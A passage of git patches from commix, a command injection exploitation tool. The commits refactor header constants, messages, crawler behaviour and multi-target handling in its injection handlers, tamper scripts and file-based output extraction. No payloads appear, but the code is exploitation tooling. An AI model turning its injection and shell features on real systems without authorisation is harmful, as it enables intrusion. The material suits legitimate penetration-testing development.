OUTPUT_TEXTFILE + "')." + info_msg = "Retrieving the execution output (via '" + OUTPUT_TEXTFILE + "')." if settings.VERBOSITY_LEVEL == 0 : info_msg += ".. (" + str(percent) + ")" elif settings.VERBOSITY_LEVEL == 1 : @@ -349,7 +349,7 @@ def injection(separator, maxlen, TAG, cmd, prefix, suffix, whitespace, timesec, float_percent = settings.info_msg else: float_percent = ".. (" + str(float_percent) + ")" - info_msg = "Grabbing the execution output (via '" + OUTPUT_TEXTFILE +"')." + info_msg = "Retrieving the execution output (via '" + OUTPUT_TEXTFILE +"')." info_msg += float_percent sys.stdout.write("\r" + settings.print_info_msg(info_msg)) sys.stdout.flush() diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index c7814af513..08c9d6f1b5 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -254,16 +254,16 @@ def do_check(request): if menu.options.cookie and settings.COOKIE_INJECTION == False: request.add_header(settings.COOKIE, menu.options.cookie) - if not checks.get_header(request.headers, settings.HTTP_ACCEPT_HEADER): - request.add_header(settings.HTTP_ACCEPT_HEADER, settings.HTTP_ACCEPT_HEADER_VALUE) + if not checks.get_header(request.headers, settings.ACCEPT): + request.add_header(settings.ACCEPT, settings.ACCEPT_VALUE) # The MIME media type for JSON. if menu.options.data and not (menu.options.requestfile or menu.options.logfile): if re.search(settings.JSON_RECOGNITION_REGEX, menu.options.data) or \ re.search(settings.JSON_LIKE_RECOGNITION_REGEX, menu.options.data): - request.add_header("Content-Type", settings.HTTP_CONTENT_TYPE_JSON_HEADER_VALUE) + request.add_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_JSON_HEADER_VALUE) elif re.search(settings.XML_RECOGNITION_REGEX, menu.options.data): - request.add_header("Content-Type", settings.HTTP_CONTENT_TYPE_XML_HEADER_VALUE) + request.add_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_XML_HEADER_VALUE) # Default value for "Accept-Encoding" HTTP header if not (menu.options.requestfile or menu.options.logfile): @@ -281,7 +281,7 @@ def do_check(request): settings.SUPPORTED_HTTP_AUTH_TYPES.index(menu.options.auth_type) if menu.options.auth_type == "basic": b64_string = encodebytes(menu.options.auth_cred.encode(settings.DEFAULT_CODEC)).decode().replace('\n', '') - request.add_header("Authorization", "Basic " + b64_string + "") + request.add_header(settings.AUTHORIZATION, "Basic " + b64_string + "") elif menu.options.auth_type == "digest": try: url = menu.options.url @@ -344,11 +344,11 @@ def do_check(request): # The MIME media type for JSON. if re.search(settings.JSON_RECOGNITION_REGEX, menu.options.data) or \ re.search(settings.JSON_LIKE_RECOGNITION_REGEX, menu.options.data): - if "Content-Type" not in str(extra_headers): - request.add_header("Content-Type", settings.HTTP_CONTENT_TYPE_JSON_HEADER_VALUE) + if settings.CONTENT_TYPE not in str(extra_headers): + request.add_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_JSON_HEADER_VALUE) elif re.search(settings.XML_RECOGNITION_REGEX, menu.options.data): - if "Content-Type" not in str(extra_headers): - request.add_header("Content-Type", settings.HTTP_CONTENT_TYPE_XML_HEADER_VALUE) + if settings.CONTENT_TYPE not in str(extra_headers): + request.add_header(settings.CONTENT_TYPE, settings.HTTP_CONTENT_TYPE_XML_HEADER_VALUE) if "Accept-Encoding" not in str(extra_headers): request.add_header('Accept-Encoding', settings.HTTP_ACCEPT_ENCODING_HEADER_VALUE) diff --git a/src/core/tamper/hexencode.py b/src/core/tamper/hexencode.py index 6346e9ec60..f19d538822 100644 --- a/src/core/tamper/hexencode.py +++ b/src/core/tamper/hexencode.py @@ -38,8 +38,9 @@ def tamper(payload): else: payload = _urllib.parse.unquote(payload) - payload = hexencode(payload).encode() - payload = payload.decode(settings.DEFAULT_CODEC) + encoded_payload, _ = hexencode(payload) + if _: + payload = encoded_payload return payload # eof \ No newline at end of file diff --git a/src/utils/settings.py b/src/utils/settings.py index bd646e854e..8b6151962e 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "48" +REVISION = "49" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -336,6 +336,9 @@ def sys_argv_errors(): # Local HTTP server port LOCAL_HTTP_PORT = random.randint(50000,60000) +HTML_DIR = os.path.abspath(os.path.join(os.path.dirname(__file__), "..", "..", "data", "html")) +DISABLED_CONTENT_EXTENSIONS = (".py", ".pyc", ".md", ".txt", ".bak", ".conf", ".zip", "~") + # Detection / Exploitation phase(s) DETECTION_PHASE = False EXPLOITATION_PHASE = False @@ -974,7 +977,6 @@ def sys_argv_errors(): BAD_GATEWAY = "502" SERVICE_UNAVAILABLE = "503" GATEWAY_TIMEOUT = "504" - HTTP_ERROR_CODES = [ BAD_REQUEST, UNAUTHORIZED_ERROR, FORBIDDEN_ERROR, @@ -1074,10 +1076,37 @@ def sys_argv_errors(): HOST = "Host" USER_AGENT = "User-Agent" REFERER = "Referer" -HTTP_ACCEPT_HEADER = "Accept" +ACCEPT = "Accept" +ACCEPT_CHARSET = "Accept-Charset" +ACCEPT_ENCODING = "Accept-Encoding" +ACCEPT_LANGUAGE = "Accept-Language" +AUTHORIZATION = "Authorization" +CACHE_CONTROL = "Cache-Control" +CONNECTION = "Connection" +CONTENT_ENCODING = "Content-Encoding" +CONTENT_LENGTH = "Content-Length" +CONTENT_RANGE = "Content-Range" +CONTENT_TYPE = "Content-Type" +EXPIRES = "Expires" +IF_MODIFIED_SINCE = "If-Modified-Since" +IF_NONE_MATCH = "If-None-Match" +LAST_MODIFIED = "Last-Modified" +LOCATION = "Location" +PRAGMA = "Pragma" +PROXY_AUTHORIZATION = "Proxy-Authorization" +PROXY_CONNECTION = "Proxy-Connection" +RANGE = "Range" +REFERER = "Referer" +REFRESH = "Refresh" # Reference: http://stackoverflow.com/a/283794 +SERVER = "Server" +SET_COOKIE = "Set-Cookie" +TRANSFER_ENCODING = "Transfer-Encoding" +VIA = "Via" +X_POWERED_BY = "X-Powered-By" +X_DATA_ORIGIN = "X-Data-Origin" # HTTP Headers values -HTTP_ACCEPT_HEADER_VALUE = "*/*" +ACCEPT_VALUE = "*/*" # Regular expression used for ignoring some special chars IGNORE_SPECIAL_CHAR_REGEX = "[^/(A-Za-z0-9.:,_]+" diff --git a/src/utils/simple_http_server.py b/src/utils/simple_http_server.py index c4b231ee99..ad63e8dcbe 100644 --- a/src/utils/simple_http_server.py +++ b/src/utils/simple_http_server.py @@ -23,6 +23,7 @@ from socket import error as socket_error from src.thirdparty.colorama import Fore, Back, Style, init from src.thirdparty.six.moves import _thread as thread +from src.thirdparty.six.moves import http_client as _http_client from src.thirdparty.six.moves import socketserver as _socketserver from src.thirdparty.six.moves import BaseHTTPServer as _BaseHTTPServer @@ -87,14 +88,15 @@ def do_GET(self): try: #Open the static file requested and send it f = open(self.path) - self.send_response(200) + self.send_response(_http_client.OK) + self.send_header(settings.CONNECTION, "close") self.end_headers() self.wfile.write(f.read().encode()) return except Exception: error_response = settings.APPLICATION + " " + settings.VERSION + " (https://commixproject.com)" - self.wfile.write(error_response.encode()) + self.wfile.write(error_response.encode()) def log_message(self, format, *args): return From 5a4acb857dfb7d36757450c09cd73edcf980b316 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 2 May 2022 08:59:12 +0300 Subject: [PATCH 0126/1023] Trivial update --- src/core/main.py | 15 ++++++++------- src/utils/settings.py | 2 +- 2 files changed, 9 insertions(+), 8 deletions(-) diff --git a/src/core/main.py b/src/core/main.py index f577d3a445..1c3aa5ac86 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -226,10 +226,10 @@ def init_request(url): debug_msg = "Creating " + str(settings.SCHEME).upper() + " requests opener object." print(settings.print_debug_msg(debug_msg)) # Used a valid pair of valid credentials - if menu.options.auth_cred and menu.options.auth_type: - info_msg = "Using '" + menu.options.auth_cred + "' pair of " + menu.options.auth_type - info_msg += " HTTP authentication credentials." - print(settings.print_info_msg(info_msg)) + if menu.options.auth_cred and menu.options.auth_type and settings.VERBOSITY_LEVEL !=0 : + debug_msg = "Using '" + menu.options.auth_cred + "' pair of " + menu.options.auth_type + debug_msg += " HTTP authentication credentials." + print(settings.print_debug_msg(debug_msg)) return request """ @@ -408,9 +408,10 @@ def main(filename, url): # Check if defined "--url" or "-m" option. if url: if menu.options.auth_cred and menu.options.auth_type: - info_msg = "Used a valid pair of " + menu.options.auth_type - info_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'." - print(settings.print_bold_info_msg(info_msg)) + if settings.VERBOSITY_LEVEL != 0: + debug_msg = "Used a valid pair of " + menu.options.auth_type + debug_msg += " HTTP authentication credentials '" + menu.options.auth_cred + "'." + print(settings.print_bold_debug_msg(debug_msg)) session_handler.import_valid_credentials(url, authentication_type=menu.options.auth_type, \ admin_panel=url, username=menu.options.auth_cred.split(":")[0], \ password=menu.options.auth_cred.split(":")[1] diff --git a/src/utils/settings.py b/src/utils/settings.py index 8b6151962e..fd33f002a0 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "49" +REVISION = "50" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" From 6cee207dbd8bc1fc5142749296ab2508140ff54f Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Tue, 3 May 2022 07:20:35 +0300 Subject: [PATCH 0127/1023] Trivial update --- src/core/injections/controller/controller.py | 8 ++------ .../techniques/classic/cb_handler.py | 13 ++++++------ .../techniques/eval_based/eb_handler.py | 14 ++++++------- .../techniques/file_based/fb_handler.py | 17 ++++++++-------- .../techniques/file_based/fb_injector.py | 4 ++-- src/core/main.py | 3 ++- src/core/requests/headers.py | 20 +++++++++++-------- src/utils/settings.py | 5 ++++- 8 files changed, 42 insertions(+), 42 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 07217d8538..898a3a749c 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -43,7 +43,6 @@ Check for previously stored sessions. """ def check_for_stored_sessions(url, http_request_method): - if not menu.options.ignore_session: if os.path.isfile(settings.SESSION_FILE) and not settings.REQUIRED_AUTHENTICATION: if not menu.options.tech: @@ -57,14 +56,12 @@ def check_for_stored_sessions(url, http_request_method): Check for previously stored injection level. """ def check_for_stored_levels(url, http_request_method): - if not menu.options.ignore_session: if menu.options.level == settings.DEFAULT_INJECTION_LEVEL: menu.options.level = session_handler.applied_levels(url, http_request_method) if type(menu.options.level) is not int : menu.options.level = settings.DEFAULT_INJECTION_LEVEL - """ Heuristic (basic) tests for command injection """ @@ -376,7 +373,8 @@ def injection_proccess(url, check_parameter, http_request_method, filename, time if settings.TESTABLE_VALUE != decoded_value and len(decoded_with) != 0: warn_msg = "The provided parameter appears to be '" + str(decoded_with) + "' encoded." print(settings.print_warning_msg(warn_msg)) - + + checks.tamper_scripts(stored_tamper_scripts=False) if settings.VERBOSITY_LEVEL != 0: debug_msg = "Performing heuristic (basic) tests to the target URL." print(settings.print_debug_msg(debug_msg)) @@ -698,8 +696,6 @@ def post_request(url, http_request_method, filename, timesec): for check_parameter in check_parameters: if check_parameter in "".join(settings.TEST_PARAMETER).split(","): menu.options.data = found_parameter[param_counter] - check_parameter = parameters.vuln_POST_param(menu.options.data, url) - # Check for session file check_for_stored_sessions(url, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) param_counter += 1 diff --git a/src/core/injections/results_based/techniques/classic/cb_handler.py b/src/core/injections/results_based/techniques/classic/cb_handler.py index 8a173abe42..cefc4f577c 100755 --- a/src/core/injections/results_based/techniques/classic/cb_handler.py +++ b/src/core/injections/results_based/techniques/classic/cb_handler.py @@ -331,7 +331,6 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ file_access_again = "Y" if file_access_again in settings.CHOICE_YES: cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - print(settings.SINGLE_WHITESPACE) break elif file_access_again in settings.CHOICE_NO: break @@ -345,13 +344,13 @@ def cb_injection_handler(url, timesec, filename, http_request_method, injection_ if menu.file_access_options(): cb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - # Check if defined single cmd. - if menu.options.os_cmd: - cb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + # Check if defined single cmd. + if menu.options.os_cmd: + cb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - else: - if menu.file_access_options() or menu.options.os_cmd: - print(settings.SINGLE_WHITESPACE) + else: + if menu.file_access_options() or menu.options.os_cmd: + print(settings.SINGLE_WHITESPACE) # Pseudo-Terminal shell go_back = False diff --git a/src/core/injections/results_based/techniques/eval_based/eb_handler.py b/src/core/injections/results_based/techniques/eval_based/eb_handler.py index 6cb0bfd62b..4bfa672b56 100755 --- a/src/core/injections/results_based/techniques/eval_based/eb_handler.py +++ b/src/core/injections/results_based/techniques/eval_based/eb_handler.py @@ -342,7 +342,6 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ file_access_again = "Y" if file_access_again in settings.CHOICE_YES: eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - print(settings.SINGLE_WHITESPACE) break elif file_access_again in settings.CHOICE_NO: break @@ -355,15 +354,14 @@ def eb_injection_handler(url, timesec, filename, http_request_method, injection_ else: if menu.file_access_options(): eb_file_access.do_check(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - # print(settings.SINGLE_WHITESPACE) - # Check if defined single cmd. - if menu.options.os_cmd: - eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) + # Check if defined single cmd. + if menu.options.os_cmd: + eb_enumeration.single_os_cmd_exec(separator, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell, filename, timesec) - else: - if menu.file_access_options() or menu.options.os_cmd: - print(settings.SINGLE_WHITESPACE) + else: + if menu.file_access_options() or menu.options.os_cmd: + print(settings.SINGLE_WHITESPACE) # Pseudo-Terminal shell go_back = False diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index b79edf8e2f..cb5c35fc27 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -554,7 +554,6 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r file_access_again= "Y" if file_access_again in settings.CHOICE_YES: fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - print(settings.SINGLE_WHITESPACE) break elif file_access_again in settings.CHOICE_NO: break @@ -570,15 +569,15 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r if menu.file_access_options(): fb_file_access.do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Check if defined single cmd. - if menu.options.os_cmd: - fb_enumeration.single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Delete previous shell (text) files (output) - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + # Check if defined single cmd. + if menu.options.os_cmd: + fb_enumeration.single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) + # Delete previous shell (text) files (output) + delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - else: - if menu.file_access_options() or menu.options.os_cmd: - print(settings.SINGLE_WHITESPACE) + else: + if menu.file_access_options() or menu.options.os_cmd: + print(settings.SINGLE_WHITESPACE) try: # Pseudo-Terminal shell diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index a823fe5dde..11fa8538a6 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -282,7 +282,7 @@ def custom_web_root(url, OUTPUT_TEXTFILE): while True: if not menu.options.batch: question_msg = "Do you want to use URL '" + output - question_msg += "' for command execution results extraction? [Y/n] > " + question_msg += "' as command execution output? [Y/n] > " procced_option = _input(settings.print_question_msg(question_msg)) else: procced_option = "" @@ -307,7 +307,7 @@ def custom_web_root(url, OUTPUT_TEXTFILE): output = settings.DEFINED_WEBROOT if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Checking URL '" + settings.DEFINED_WEBROOT + "' for command execution results extraction." + debug_msg = "Checking URL '" + settings.DEFINED_WEBROOT + "' for command execution output." print(settings.print_debug_msg(debug_msg)) return output diff --git a/src/core/main.py b/src/core/main.py index 1c3aa5ac86..8c39fea469 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -471,7 +471,8 @@ def main(filename, url): pass # Load tamper scripts if menu.options.tamper: - checks.tamper_scripts(stored_tamper_scripts=False) + settings.USER_SUPPLIED_TAMPER = menu.options.tamper + # checks.tamper_scripts(stored_tamper_scripts=False) except AttributeError: pass diff --git a/src/core/requests/headers.py b/src/core/requests/headers.py index 08c9d6f1b5..b810398374 100755 --- a/src/core/requests/headers.py +++ b/src/core/requests/headers.py @@ -150,20 +150,24 @@ def https_open(self, req): _ = False unauthorized = False - while not _ and settings.TOTAL_OF_REQUESTS <= settings.MAX_RETRIES and unauthorized is False: + while not _ and settings.TOTAL_OF_REQUESTS <= settings.MAX_RETRIES and unauthorized is False: + if settings.MULTI_TARGETS: + if settings.INIT_TEST == True and len(settings.MULTI_ENCODED_PAYLOAD) != 0: + settings.MULTI_ENCODED_PAYLOAD = [] + menu.options.tamper = settings.USER_SUPPLIED_TAMPER try: response = opener.open(request, timeout=settings.TIMEOUT) page = checks.page_encoding(response, action="encode") _ = True settings.MAX_RETRIES = settings.TOTAL_OF_REQUESTS * 2 - if settings.VERBOSITY_LEVEL < 2: - if (settings.INIT_TEST == True and not settings.UNAUTHORIZED) or \ - (settings.INIT_TEST == True and settings.MULTI_TARGETS): - if settings.VALID_URL == False: - settings.VALID_URL = True + if (settings.INIT_TEST == True and not settings.UNAUTHORIZED) or \ + (settings.INIT_TEST == True and settings.MULTI_TARGETS): + if settings.VALID_URL == False: + settings.VALID_URL = True + if not settings.CHECK_INTERNET: + settings.INIT_TEST = False + if settings.VERBOSITY_LEVEL < 2: print(settings.SINGLE_WHITESPACE) - if not settings.CHECK_INTERNET: - settings.INIT_TEST = False except _urllib.error.HTTPError as err_msg: if settings.TOTAL_OF_REQUESTS == 1 and settings.VERBOSITY_LEVEL < 2: diff --git a/src/utils/settings.py b/src/utils/settings.py index fd33f002a0..0fa8d707e6 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "50" +REVISION = "51" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -942,6 +942,8 @@ def sys_argv_errors(): RAW_HTTP_HEADERS = "" +USER_SUPPLIED_TAMPER = "" + # Tamper scripts dict TAMPER_SCRIPTS = { "space2ifs": False, @@ -1128,4 +1130,5 @@ def sys_argv_errors(): REDIRECT_CODE = "" BASE64_PADDING = "==" + # eof \ No newline at end of file From 10de2aec752b1f92efa4de7df4e0808801ae2a11 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 4 May 2022 07:44:48 +0300 Subject: [PATCH 0128/1023] Minor update regarding commit: https://github.com/commixproject/commix/commit/6cee207dbd8bc1fc5142749296ab2508140ff54f --- src/core/injections/controller/controller.py | 10 +++++++--- .../semiblind/techniques/file_based/fb_injector.py | 7 +++++-- src/utils/settings.py | 4 ++-- 3 files changed, 14 insertions(+), 7 deletions(-) diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index 898a3a749c..bd5099f9bb 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -71,7 +71,7 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, settings.CLASSIC_STATE = True try: whitespace = settings.WHITESPACES[0] - if not settings.IDENTIFIED_COMMAND_INJECTION: + if not settings.IDENTIFIED_COMMAND_INJECTION or settings.MULTI_TARGETS: _ = 0 for payload in settings.BASIC_COMMAND_INJECTION_PAYLOADS: _ = _ + 1 @@ -100,7 +100,6 @@ def command_injection_heuristic_basic(url, http_request_method, check_parameter, request.add_header(settings.COOKIE, cookie) if inject_http_headers: request.add_header(check_parameter.replace("'","").strip(), (settings.CUSTOM_HEADER_VALUE + payload).encode(settings.DEFAULT_CODEC)) - #request.add_header(check_parameter.replace("'","").strip(), payload.encode(settings.DEFAULT_CODEC)) headers.do_check(request) response = requests.get_request_response(request) @@ -141,7 +140,7 @@ def code_injections_heuristic_basic(url, http_request_method, check_parameter, t menu.options.data = menu.options.data.replace("/&", "/e&") except TypeError as err_msg: pass - if not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO: + if (not settings.IDENTIFIED_WARNINGS and not settings.IDENTIFIED_PHPINFO) or settings.MULTI_TARGETS: for payload in settings.PHPINFO_CHECK_PAYLOADS: if not inject_http_headers or (inject_http_headers and "'Host'" in check_parameter): payload = _urllib.parse.quote(payload) @@ -696,6 +695,8 @@ def post_request(url, http_request_method, filename, timesec): for check_parameter in check_parameters: if check_parameter in "".join(settings.TEST_PARAMETER).split(","): menu.options.data = found_parameter[param_counter] + check_parameter = parameters.vuln_POST_param(menu.options.data, url) + # Check for session file check_for_stored_sessions(url, http_request_method) injection_proccess(url, check_parameter, http_request_method, filename, timesec) param_counter += 1 @@ -793,6 +794,9 @@ def basic_level_checks(): General check on every injection technique. """ def do_check(url, http_request_method, filename): + if settings.RECHECK_FILE_FOR_EXTRACTION: + settings.RECHECK_FILE_FOR_EXTRACTION = False + # Check for '--tor' option. if menu.options.tor: if not menu.options.tech or "t" in menu.options.tech or "f" in menu.options.tech: diff --git a/src/core/injections/semiblind/techniques/file_based/fb_injector.py b/src/core/injections/semiblind/techniques/file_based/fb_injector.py index 11fa8538a6..32f106e857 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_injector.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_injector.py @@ -265,7 +265,7 @@ def custom_web_root(url, OUTPUT_TEXTFILE): settings.DEFINED_WEBROOT = output return output - if not settings.DEFINED_WEBROOT: + if not settings.DEFINED_WEBROOT or settings.MULTI_TARGETS: if menu.options.web_root: _ = "/" if not menu.options.web_root.endswith(_): @@ -278,7 +278,10 @@ def custom_web_root(url, OUTPUT_TEXTFILE): if item == menu.options.web_root: settings.DEFINED_WEBROOT = output break - if not settings.DEFINED_WEBROOT: + + if not settings.DEFINED_WEBROOT or (settings.MULTI_TARGETS and not settings.RECHECK_FILE_FOR_EXTRACTION): + if settings.MULTI_TARGETS: + settings.RECHECK_FILE_FOR_EXTRACTION = True while True: if not menu.options.batch: question_msg = "Do you want to use URL '" + output diff --git a/src/utils/settings.py b/src/utils/settings.py index 0fa8d707e6..85b14e28f4 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -230,7 +230,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "3.5" -REVISION = "51" +REVISION = "52" STABLE_RELEASE = False if STABLE_RELEASE: VERSION = "v" + VERSION_NUM + "-stable" @@ -1071,7 +1071,7 @@ def sys_argv_errors(): NAGGING_DAYS = 31 LINUX_DEFAULT_DOC_ROOTS = ["/var/www/", "/var/www/html", "/var/www/htdocs", "/usr/local/apache2/htdocs", "/usr/local/www/data", "/var/apache2/htdocs", "/var/www/nginx-default", "/srv/www/htdocs"] # Reference: https://wiki.apache.org/httpd/DistrosDefaultLayout -DEFINED_WEBROOT = False +DEFINED_WEBROOT = RECHECK_FILE_FOR_EXTRACTION = False # HTTP Headers COOKIE = "Cookie" From 6087dbcfebe0b3c281c0723b2cdc1f82d237ece0 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 5 May 2022 08:36:21 +0300 Subject: [PATCH 0129/1023] Improvement regarding crawler. --- doc/CHANGELOG.md | 1 + src/core/injections/controller/checks.py | 28 ++- src/core/main.py | 64 +++++-- src/core/requests/headers.py | 8 +- src/core/requests/redirection.py | 6 +- src/utils/common.py | 9 + src/utils/crawler.py | 223 +++++++++++------------ src/utils/menu.py | 2 +- src/utils/settings.py | 15 +- 9 files changed, 208 insertions(+), 148 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index d7fca13ba6..182418a046 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 3.5 (TBA) +* Revised: Improvement regarding crawler. * Revised: Minor bug-fix regarding `--file-upload` option. * Revised: Minor improvement regarding identifying 'hex' and/or 'base64' encoded parameter(s) value(s). * Added: New option `--no-logging` for disabling logging to a file. diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 716c1bddab..80966a57c1 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -55,7 +55,7 @@ Connection exceptions """ -def connection_exceptions(err_msg): +def connection_exceptions(err_msg, url): settings.VALID_URL = False try: error_msg = str(err_msg.args[0]).split("] ")[1] @@ -84,19 +84,29 @@ def connection_exceptions(err_msg): warn_msg += "'--proxy' option." print(settings.print_warning_msg(warn_msg)) elif "infinite loop" in str(error_msg): - error_msg = "Infinite redirect loop detected." - error_msg += "Please check all provided parameters and/or provide missing ones." + error_msg = "Infinite redirect loop detected. " + error_msg += "Please check all provided parameters and/or provide missing ones" elif "BadStatusLine" in str(error_msg): error_msg = "connection dropped or unknown HTTP " error_msg += "status code received." elif "forcibly closed" in str(error_msg) or "Connection is already closed" in str(error_msg): error_msg = "connection was forcibly closed by the target URL." - if settings.MAX_RETRIES > 1: + elif settings.UNAUTHORIZED_ERROR in str(error_msg) and not menu.options.ignore_code: + error_msg = "Not authorized, try to provide right HTTP " + error_msg += "authentication type and valid credentials." + if not menu.options.ignore_code == settings.UNAUTHORIZED_ERROR: + error_msg += " If this is intended, try to rerun by providing " + error_msg += "a valid value for option '--ignore-code'" + if settings.MAX_RETRIES > 1 and not settings.CRAWLING: info_msg = settings.APPLICATION.capitalize() + " is going to retry the request(s)." print(settings.print_info_msg(info_msg)) - error_msg = "Unable to connect to the target URL (Reason: " + error_msg.capitalize() + ")." - if settings.MULTI_TARGETS: - error_msg = error_msg + " Skipping to the next target." + error_msg = "Unable to connect to the target URL (Reason: " + error_msg.replace("Http", "Http".upper()) + ")." + if not url: + _ = "" + else: + _ = " '" + url + "'" + if settings.MULTI_TARGETS or settings.CRAWLED_SKIPPED_URLS != 0: + error_msg = error_msg + " Skipping URL"+ _ +"." print(settings.print_critical_msg(error_msg)) settings.TOTAL_OF_REQUESTS = settings.TOTAL_OF_REQUESTS + 1 if settings.MAX_RETRIES > 1: @@ -111,7 +121,7 @@ def connection_exceptions(err_msg): def not_declared_cookies(response): try: candidate = re.search(r'([^;]+);?', response.headers[settings.SET_COOKIE]).group(1) - if candidate and settings.DECLARED_COOKIES is not False: + if candidate and settings.DECLARED_COOKIES is not False and settings.CRAWLING is False: settings.DECLARED_COOKIES = True if settings.CRAWLED_SKIPPED_URLS != 0: print(settings.SINGLE_WHITESPACE) @@ -318,6 +328,8 @@ def captcha_check(page): warn_msg += " (CloudFlare)." else: warn_msg += "." + if settings.CRAWLING: + print(settings.SINGLE_WHITESPACE) print(settings.print_bold_warning_msg(warn_msg)) break diff --git a/src/core/main.py b/src/core/main.py index 8c39fea469..d1d6b53dc6 100644 --- a/src/core/main.py +++ b/src/core/main.py @@ -241,7 +241,7 @@ def url_response(url): # Check if defined Tor (--tor option). if menu.options.tor and settings.TOR_CHECK_AGAIN: tor.do_check() - if settings.MULTI_TARGETS: + if settings.MULTI_TARGETS or settings.CRAWLING: settings.TOR_CHECK_AGAIN = False # initiate total of requests settings.TOTAL_OF_REQUESTS = 0 @@ -416,9 +416,6 @@ def main(filename, url): admin_panel=url, username=menu.options.auth_cred.split(":")[0], \ password=menu.options.auth_cred.split(":")[1] ) - # Load the crawler - if menu.options.crawldepth > 0 or menu.options.sitemap_url: - url = crawler.crawler(url) try: if menu.options.flush_session: session_handler.flush(url) @@ -625,11 +622,6 @@ def main(filename, url): if menu.options.os: checks.user_defined_os() - if menu.options.crawldepth > 2: - err_msg = "Depth level '" + str(menu.options.crawldepth) + "' is not a valid." - print(settings.print_error_msg(err_msg)) - raise SystemExit() - # Check if defined "--check-tor" option. if menu.options.tor_check and not menu.options.tor: err_msg = "The '--check-tor' swich requires usage of switch '--tor'." @@ 